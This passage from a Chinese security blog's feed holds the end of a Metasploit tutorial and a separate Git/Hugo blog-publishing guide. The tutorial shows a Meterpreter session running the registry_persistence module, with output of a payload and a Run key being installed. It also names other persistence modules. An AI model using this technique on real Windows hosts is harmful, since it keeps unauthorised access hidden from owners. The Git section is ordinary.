  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>4.registry_persistence</p>
<p>完整路径为exploit/windows/local/registry_persistence</p>
<p>和第一种方法类似，此模块将会安装一个payload到注册表的启动项中。</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">meterpreter &gt; background
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Backgrounding session 13...
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf5 auxiliary<span class="o">(</span>server/socks5<span class="o">)</span> &gt; use exploit/windows/local/registry_persistence
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf5 exploit<span class="o">(</span>windows/local/registry_persistence<span class="o">)</span> &gt; show options
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">Module options <span class="o">(</span>exploit/windows/local/registry_persistence<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">   Name           Current Setting  Required  Description
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">   ----           ---------------  --------  -----------
</span></span><span class="line"><span class="ln">10</span><span class="cl">   BLOB_REG_KEY                    no        The registry key to use <span class="k">for</span> storing the payload blob. <span class="o">(</span>Default: random<span class="o">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">   BLOB_REG_NAME                   no        The name to use <span class="k">for</span> storing the payload blob. <span class="o">(</span>Default: random<span class="o">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">   CREATE_RC      <span class="nb">true</span>             no        Create a resource file <span class="k">for</span> cleanup
</span></span><span class="line"><span class="ln">13</span><span class="cl">   RUN_NAME                        no        The name to use <span class="k">for</span> the <span class="s1">&#39;Run&#39;</span> key. <span class="o">(</span>Default: random<span class="o">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">   SESSION                         yes       The session to run this module on.
</span></span><span class="line"><span class="ln">15</span><span class="cl">   SLEEP_TIME     <span class="m">0</span>                no        Amount of <span class="nb">time</span> to sleep <span class="o">(</span>in seconds<span class="o">)</span> before executing payload. <span class="o">(</span>Default: 0<span class="o">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">   STARTUP        USER             yes       Startup <span class="nb">type</span> <span class="k">for</span> the persistent payload. <span class="o">(</span>Accepted: USER, SYSTEM<span class="o">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl">Exploit target:
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl">   Id  Name
</span></span><span class="line"><span class="ln">22</span><span class="cl">   --  ----
</span></span><span class="line"><span class="ln">23</span><span class="cl">   <span class="m">0</span>   Automatic
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl">msf5 exploit<span class="o">(</span>windows/local/registry_persistence<span class="o">)</span> &gt; <span class="nb">set</span> SESSION <span class="m">13</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="nv">SESSION</span> <span class="o">=</span>&gt; <span class="m">13</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">msf5 exploit<span class="o">(</span>windows/local/registry_persistence<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Generating payload blob..
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> Generated payload, <span class="m">6048</span> bytes
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Root path is HKCU
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Installing payload blob..
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> Created registry key HKCU<span class="se">\S</span>oftware<span class="se">\0</span>BaG3zDR
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> Installed payload blob to HKCU<span class="se">\S</span>oftware<span class="se">\0</span>BaG3zDR<span class="se">\i</span>iEB4InD
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Installing run key
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> Installed run key HKCU<span class="se">\S</span>oftware<span class="se">\M</span>icrosoft<span class="se">\W</span>indows<span class="se">\C</span>urrentVersion<span class="se">\R</span>un<span class="se">\S</span>MPqA5kB
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Clean up Meterpreter RC file: /home/ubuntu/.msf4/logs/persistence/192.168.81.154_20190612.2138/192.168.81.154_20190612.2138.rc</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>同类型的还有其他payload，如exploit/windows/local/vss_persistence，exploit/windows/local/s4u_persistence。</p>
<h2 id="参考">参考<a class="anchor" href="#参考">#</a></h2>
<ul>
<li><a
  href="https://xz.aliyun.com/t/2536" rel="nofollow noopener noreferrer" target="_blank"
  >https://xz.aliyun.com/t/2536<span style="user-select:none"> ↗</span></a
>
</li>
<li><a
  href="https://www.anquanke.com/post/id/164525" rel="nofollow noopener noreferrer" target="_blank"
  >https://www.anquanke.com/post/id/164525<span style="user-select:none"> ↗</span></a
>
</li>
<li><a
  href="https://www.freebuf.com/sectool/118714.html" rel="nofollow noopener noreferrer" target="_blank"
  >https://www.freebuf.com/sectool/118714.html<span style="user-select:none"> ↗</span></a
>
</li>
</ul>
<p>转自：https://saucer-man.com/information_security/79.html</p>
]]></content:encoded><h:img src="https://h4cker.zip/0210ca/metasploit-ascii-1.webp"/><enclosure url="https://h4cker.zip/0210ca/metasploit-ascii-1.webp"/><atom:updated>2025-02-20T11:21:20+08:00</atom:updated><category>msf</category></item><item><title>Git使用 &amp; 博客推送</title><link>https://h4cker.zip/39697d/</link><pubDate>Tue, 08 Jun 2021 22:42:05 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/39697d/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>1.创建一个文件夹</p>
<p>2.将写好的项目文件全部复制进去</p>
<p>3.打开这个文件夹，右键Git Bash Here</p>
<p>4.输入命令：<code>git init</code></p>
<p>5.修改分支：<code>git branch -M main</code></p>
<p>6.输入命令：<code>git add .</code></p>
<p>7.输入命令：<code>git commit -m &quot;xxxxxxx&quot;</code></p>
<p>8.输入命令：<code>git remote add origin git@github.com:Tajang-ctf/仓库名.git</code></p>
<p>9.输入命令 ：<code>git push -u origin main</code></p>
<h2 id="20250206-更新">2025/02/06 更新<a class="anchor" href="#20250206-更新">#</a></h2>
<p>我部署了Hugo博客，主题自己写的，我想在站点目录下执行<code>git push</code>推送public目录内文件到远程仓库，但怎么设置都不行，.gitignore写了也不行，于是写了下面这个脚本：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="p">@</span><span class="k">echo</span> off
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">echo</span> 进入D:\Blog目录
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">cd</span> /d <span class="s2">&#34;D:\Blog&#34;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">echo</span> 开始构建站点
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">hugo --gc --minify
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">echo</span> 进入D:\Blog\public目录
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">cd</span> /d <span class="s2">&#34;D:\Blog\public&#34;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="k">echo</span> 添加所有文件
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">git add .
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">echo</span> 提交代码
</span></span><span class="line"><span class="ln">11</span><span class="cl">git -c i18n.commitEncoding=utf-8 -c i18n.logOutputEncoding=utf-8 commit -m <span class="s2">&#34;推送Hugo博客&#34;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="k">echo</span> 推送到Github仓库
</span></span><span class="line"><span class="ln">13</span><span class="cl">git push origin main
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">echo</span> 推送完成！
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="k">pause</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="p">@</span><span class="c1">REM Blog是博客站点根目录，不需要推送，只需要推送public内文件夹，本来想着写,gitignore忽略所有文件，但排除public内文件。但是一直不成功，所以写这个脚本。</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="p">@</span><span class="c1">REM public内有git配置，分支是main，直接推送即可</span></span></span></code></pre><div class="title text-sm text-muted-foreground px-3 py-1 rounded-lg border">push.bat</div><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bat</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>本地<code>git init</code>时默认为master分支，虽然可以使用<code>master:main</code>推送，但遇到各种分支冲突，只能<code>--force</code>，所以还是把本地的分支改成main吧：<code>git branch -m main</code></p>
<h2 id="20250822更新"><strong>2025/08/22更新</strong><a class="anchor" href="#20250822更新">#</a></h2>
<p>终端显示“推送Hugo博客”，但是commit消息是乱码。因为bat一般与windows终端的编码一致的，都是GBK，当然终端也能正常显示ANSI的bat，但是<code>git commit -m &quot;xxxx&quot;</code>里面的消息会被git当GBK读，但是git的显示是按UTF-8显示的，所以会乱码，这里使用</p>
<p><code>git -c i18n.commitEncoding=utf-8 -c i18n.logOutputEncoding=utf-8</code></p>
<p>就是临时设置它的编码和输出编码，这样终端里显示正常，github的commit信息也正常。上面代码已修改。</p>
<h2 id="20250826-更新">2025/08/26 更新<a class="anchor" href="#20250826-更新">#</a></h2>
<p>某文章被要求下架，我删除了居然还能访问，然后发现Github的仓库里仍然有那个文章。然后一次次测试Hugo的draft草稿功能，还有删除后的渲染功能才发现：</p>
<p>Hugo 的草稿一般是不渲染的，但是你只要渲染过，比如<code>hugo server -D</code>，就会存在public/post中。就算重新生成站点或者删除草稿，渲染后的文件也不会被删除，随后被git推送到仓库。虽然页面不显示，但访问 slug 对应链接，仍然能看到，所以要删除文章，就要删除 public/post 里面的对应的文章，但是 git 时候，同步新增和修改，不同步删除。</p>
<p>上面这两个原因导致我无论是改成草稿，还是删除文章，访问链接都能访问文章。</p>
<p>删除的内容仍然保存在github中。所以我去仓库一看，都能找到去年的博客测试图片。不过我的GitHub仓库是私密的，然后被Vercel同步的，数据不会被打包。只不过被删除的资源不显示，但能访问。这其实是本地仓库新的，但是远程仓库累加很多内容。</p>
<p><code>git add -A</code>，可以同步新增、修改、删除，但是hugo的<code>hugo --gc --minify</code>不会删已渲染过的草稿，所以草稿仍被推送。</p>
<p>所以我这里先命令清空public，清洗一次。进去再git add -A。但是<code>rmdir /s /q public</code>导致我的<code>.git</code>文件夹没了，使public变成纯静态文件夹了。。。</p>
<p>这里重新git init、remote之类。然后在<code>hugo --gc --minify</code>之前加入</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">echo</span> 清空 public 目录内容（保留 .git）
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">del</span> /q public\*
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="k">for</span> /d <span class="se">%%</span>x <span class="k">in</span> <span class="p">(</span>public\*<span class="p">)</span> <span class="k">do</span> <span class="k">rmdir</span> /s /q <span class="s2">&#34;</span><span class="se">%%</span><span class="s2">x&#34;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bat</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这样不删除隐藏目录，也就是<code>.git</code>，可以看到上传了很多东西。仓库全部更新了，但是也上传了不少东西。每次都删除public意义不大，而且上传耗时。下架文章，只要删除<code>post（不是posts）</code>文件夹就行，如果怕不小心写过错的tag和Category，那就每次删除标签、分类、文章三个文件夹。</p>
<p>代码用</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">for</span> <span class="se">%%</span>d <span class="k">in</span> <span class="p">(</span>post categories tags<span class="p">)</span> <span class="k">do</span> <span class="k">rmdir</span> /s /q <span class="s2">&#34;D:\Blog\public\</span><span class="se">%%</span><span class="s2">d&#34;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bat</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这样就算我渲染过草稿，也会在脚本里清空文件夹，重新生成内容。</p>
<p>注意，bat 脚本里是 <code>%%d</code> ，终端这样操作就要写 <code>%d</code></p>
<p>完整博客推送代码：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bat" data-lang="bat"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="p">@</span><span class="k">echo</span> off
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">echo</span> 进入D:\Blog目录
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">cd</span> /d <span class="s2">&#34;D:\Blog&#34;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="p">@</span><span class="c1">REM echo 清空 public 目录内容（保留 .git）</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="p">@</span><span class="c1">REM del /q public\*</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="p">@</span><span class="c1">REM for /d %%x in (public\*) do rmdir /s /q &#34;%%x&#34;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">echo</span> 删除 post、categories、tags 文件夹
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">for</span> <span class="se">%%</span>d <span class="k">in</span> <span class="p">(</span>post categories tags<span class="p">)</span> <span class="k">do</span> <span class="k">rmdir</span> /s /q <span class="s2">&#34;D:\Blog\public\</span><span class="se">%%</span><span class="s2">d&#34;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="p">@</span><span class="c1">REM bat脚本里写 %%d ，终端里要写 %d</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">echo</span> 开始构建站点
</span></span><span class="line"><span class="ln">14</span><span class="cl">hugo --gc --minify
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="k">echo</span> 进入D:\Blog\public目录
